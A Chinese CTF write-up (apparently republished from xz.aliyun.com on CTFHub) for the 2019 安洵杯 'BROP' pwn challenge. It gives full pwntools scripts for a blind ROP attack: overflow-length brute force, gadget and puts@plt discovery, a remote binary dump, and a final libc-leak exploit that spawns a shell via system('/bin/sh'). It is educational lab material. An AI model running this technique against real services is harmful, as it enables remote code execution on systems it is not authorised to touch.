

BROP

发表于 2021-01-16 分类于 [Challenge](#) , [2019](#) , [安洵杯](#) , [Pwn](#)
[Challenge](#) | [2019](#) | [安洵杯](#) | [Pwn](#) | [BROP](#)

[点击此处](#)获得更好的阅读体验

WriteUp来源

<https://xz.aliyun.com/t/6912>

题目考点

解题思路

标准的brop的思路,本来出题想要加上canary以及write和strcmp,可惜环境容易崩,测试的时候,总是崩溃...没法上题

emm...步骤比较多

nc链接上去,发现,输入了,然后回显,然后没了...

使用%p也没用...那就猜测是否是否有栈区溢出

暴力破解-获取偏移

猜测是否有栈区溢出

```
1 # -*- coding:utf-8 -*-
2 from pwn import *
3 from LibcSearcher import LibcSearcher
4 context.log_level='debug'
5 #context(arch = 'i386', os = 'linux', log_level='debug')
6 #context(arch = 'amd64', os = 'linux', log_level='debug')
7 #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 ip = "0.0.0.0"
9 port = 10001
10
11 def getbufferflow_length():
12     i = 1
13     while True:
14         try:
15             io = remote(ip,port)
16             io.recvuntil("Please tell me:")
17             io.sendline(i*'a')
18             output = io.recvuntil("Goodbye!\n",timeout=1)
19             print output
20             #hello = io.recv()
21             io.close()
22             #print "[*] the index is " + str(output.find('Goodbye!'))
23             if output == "":
24                 return i - 1
25             else:
26                 i += 1
27         except EOFError:
28             io.close()
29             return i - 1
30
31 length = getbufferflow_length()
32 print length
```

获取stop_gadget-main

```

1  -*- coding:utf-8 -*-
2  from pwn import *
3  from LibcSearcher import LibcSearcher
4  context.log_level='debug'
5  #context(arch = 'i386', os = 'linux', log_level='debug')
6  #context(arch = 'amd64', os = 'linux', log_level='debug')
7  #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8  gadget_array = []
9  def get_stop_addr(length):
10     addr = 0x4007D0#7D0
11
12     while 1:
13         try:
14             sh = remote('127.0.0.1', 10001)
15             sh.recvuntil("Please tell me:")
16             payload = 'a' * length + p64(addr)
17             sh.sendline(payload)
18             #sh.recvuntil("Repeater:")
19             sh.recv()
20             recvstr = sh.recv()
21             sh.close()
22             if recvstr.startswith('Hello'):
23                 gadget_array.append(addr)
24                 return gadget_array
25             print 'one success addr: 0x%x' % (addr)
26             addr += 1
27         except Exception:
28             addr += 1
29             sh.close()
30 length = 216
31 stop_gadget = get_stop_addr(length)
32 for i in range(len(stop_gadget)):
33     print 'one success addr: 0x%x' % (stop_gadget[i])
34
35
36 #0x4007d6

```

获取bro**p_gadget-libc_csu_init**

```

1  -*- coding:utf-8 -*-
2  from pwn import *
3  from LibcSearcher import LibcSearcher
4  context.log_level='debug'
5  #context(arch = 'i386', os = 'linux', log_level='debug')
6  #context(arch = 'amd64', os = 'linux', log_level='debug')
7  #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8  def get_brop_gadget(length, stop_gadget, addr):
9      try:
10         sh = remote('127.0.0.1', 10001)
11         sh.recvuntil('Please tell me:')
12         payload = 'a' * length + p64(addr) + p64(0) * 6 + p64(
13             stop_gadget) + p64(0) * 10
14         sh.sendline(payload)
15         sh.recv()
16         content = sh.recv()
17         sh.close()
18         print content
19         # stop gadget returns memory
20         if not content.find('Hello'):
21             return False
22         return True
23     except Exception:
24         sh.close()
25         return False
26
27 def check_brop_gadget(length, addr):
28     try:
29         sh = remote('127.0.0.1', 10001)
30         sh.recvuntil('Please tell me:')
31         payload = 'a' * length + p64(addr) + 'a' * 8 * 10
32         sh.sendline(payload)
33         sh.recv()
34         content = sh.recv()
35         sh.close()
36         return False
37     except Exception:
38         sh.close()
39         return True
40
41 length = 216
42 stop_gadget = 0x4007d6
43 addr = 0x4007d6#libc_scu_init is behind from main
44 while 1:
45     print hex(addr)
46     if get_brop_gadget(length, stop_gadget, addr):
47         print 'possible brop gadget: 0x%x' % addr
48         if check_brop_gadget(length, addr):
49             print 'success brop gadget: 0x%x' % addr
50             break
51     addr += 1
52 #0x40095a

```

获取puts_plt

```

1  -*- coding:utf-8 -*-
2  from pwn import *
3  from LibcSearcher import LibcSearcher
4  context.log_level='debug'
5  #context(arch = 'i386', os = 'linux', log_level='debug')
6  #context(arch = 'amd64', os = 'linux', log_level='debug')
7  #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8  def get_puts_addr(length, rdi_ret, stop_gadget):
9      addr = 0x400630
10     while 1:
11         print hex(addr)
12         sh = remote('127.0.0.1', 10001)
13         sh.recvuntil('Please tell me:')
14         payload = 'A' * length + p64(rdi_ret) + p64(0x400000) + p64(
15             addr) + p64(stop_gadget)
16         sh.sendline(payload)
17         try:
18             sh.recv()
19             content = sh.recv()
20             if content.find('\x7fELF'):
21                 print 'find puts@plt addr: 0x%x' % addr
22                 return addr
23             sh.close()
24             addr += 1
25         except Exception:
26             sh.close()
27             addr += 1
28 length = 216
29 stop_gadget = 0x4007d6
30 brop_gadget = 0x40095a
31 rdi_ret = brop_gadget + 9
32 puts_plt = get_puts_addr(length, rdi_ret, stop_gadget)
33
34 print hex(puts_plt)
35 #0x400635

```

dump文件

```

1 #-*- coding:utf-8 -*-
2 from pwn import *
3 from LibcSearcher import LibcSearcher
4 context.log_level='debug'
5 #context(arch = 'i386', os = 'linux', log_level='debug')
6 #context(arch = 'amd64', os = 'linux', log_level='debug')
7 #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8 def leakfunction(length, rdi_ret, puts_plt, stop_gadget):
9     addr = 0x4005fd#0x400000
10    result = ""
11    offset = 0
12    while addr < 0x401000:
13        #print hex(addr)
14        data = leak(length, rdi_ret, puts_plt, addr+offset, stop_gadget)
15        print "data is " + data
16        if data is None:
17            continue
18        else:
19            result = data
20            offset += len(data)
21            print "[*] offset is " + hex(offset)
22            print "[*] addr is " + hex(addr)
23        with open('code', 'ab') as f:
24            f.write(result)
25
26
27def leak(length, rdi_ret, puts_plt, leak_addr, stop_gadget):
28    sh = remote('127.0.0.1', 10001)
29    payload = 'a' * length + p64(rdi_ret) + p64(leak_addr) + p64(
30        puts_plt) + p64(stop_gadget)
31    sh.recvuntil('Please tell me:')
32    sh.sendline(payload)
33    try:
34        #sh.recvuntil(rdi_ret)
35        #hello = 'a' * length + p8((rdi_ret>>1)&0xff) + p8((rdi_ret>>2)&0xff) + p8(rdi_ret & 0xff)
36        hello = 'a' * length + '\x63\x09\x40'
37        print "[*] hello is " + hello
38        sh.recvuntil(hello)
39        #sh.recv()
40        data = sh.recv()
41        sh.close()
42
43    try:
44        #print hex(rdi_ret)
45        data = data[:data.index("\nHello")]
46        #print data
47    except Exception:
48        data = data
49    if data == "":
50        data = '\x00'
51    return data
52    except Exception:
53        sh.close()
54        return None
55
56
57length = 216
58stop_gadget = 0x4007d6
59brop_gadget = 0x40095a
60rdi_ret = brop_gadget + 9
61puts_plt = 0x400635
62
63print "this is " + hex(rdi_ret)
64leakfunction(length, rdi_ret, puts_plt, stop_gadget)
65
66#io.interactive()

```

中间好像会中断一次,应该是申请了太多次,导致的断开连接了...

但是没事,继续泄露就行了,然后dump下来看汇编,找到对应的puts_plt哪行对应的地址...舒服了

一个重点:

这里会发现一个问题,我们的puts_plt = 0x400635 在前面都是正确的,因为代码的确会执行到puts的函数的功能,但是我们在实际

查看dump下来的文件的时候,我们会发现这个

□

很巧的就是这个0x400635是在plt表的开头,然后puts正好是衔接着开头的,所以实际的plt的地址应该是后面那个,不信,可以改掉前面的635->640,是完全都可以运行的

exp

```
1 #-*- coding:utf-8 -*-
2 from pwn import *
3 from LibcSearcher import LibcSearcher
4 context.log_level='debug'
5 #context(arch = 'i386', os = 'linux', log_level='debug')
6 #context(arch = 'amd64', os = 'linux', log_level='debug')
7 #log_level=['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
8
9 length = 216
10 stop_gadget = 0x4007d6
11 brop_gadget = 0x40095a
12 rdi_ret = brop_gadget + 9
13 puts_plt = 0x400635
14 puts_got = 0x601018
15 sh = remote('127.0.0.1', 10001)
16 sh.recvuntil('Please tell me:')
17 payload = 'a' * length + p64(rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(
18     stop_gadget)
19 sh.sendline(payload)
20 sh.recvuntil('\x63\x09\x40')
21 data = sh.recvuntil('\nHello', drop=True)
22 puts_addr = u64(data.ljust(8, '\x00'))
23 print "[*] puts_addr is " + hex(puts_addr)
24
25 libc = LibcSearcher('puts', puts_addr)
26 libc_base = puts_addr - libc.dump('puts')
27 system_addr = libc_base + libc.dump('system')
28 binsh_addr = libc_base + libc.dump('str_bin_sh')
29 payload = 'a' * length + p64(rdi_ret) + p64(binsh_addr) + p64(
30     system_addr) + p64(stop_gadget)
31 sh.sendline(payload)
32 sh.interactive()
```

- 本文作者: CTFHub
- 本文链接: <https://writeup.ctfhub.com/Challenge/2019/安洵杯/Pwn/px6qU9YVhasZ4dqc4rrPHm.html>
- 版权声明: 本博客所有文章除特别声明外, 均采用 [BY-NC-SA](#) 许可协议。转载请注明出处!

[# Challenge # Pwn # 2019 # 安洵杯](#)
[Blindpwn-64位有偏移](#)
[PWN4](#)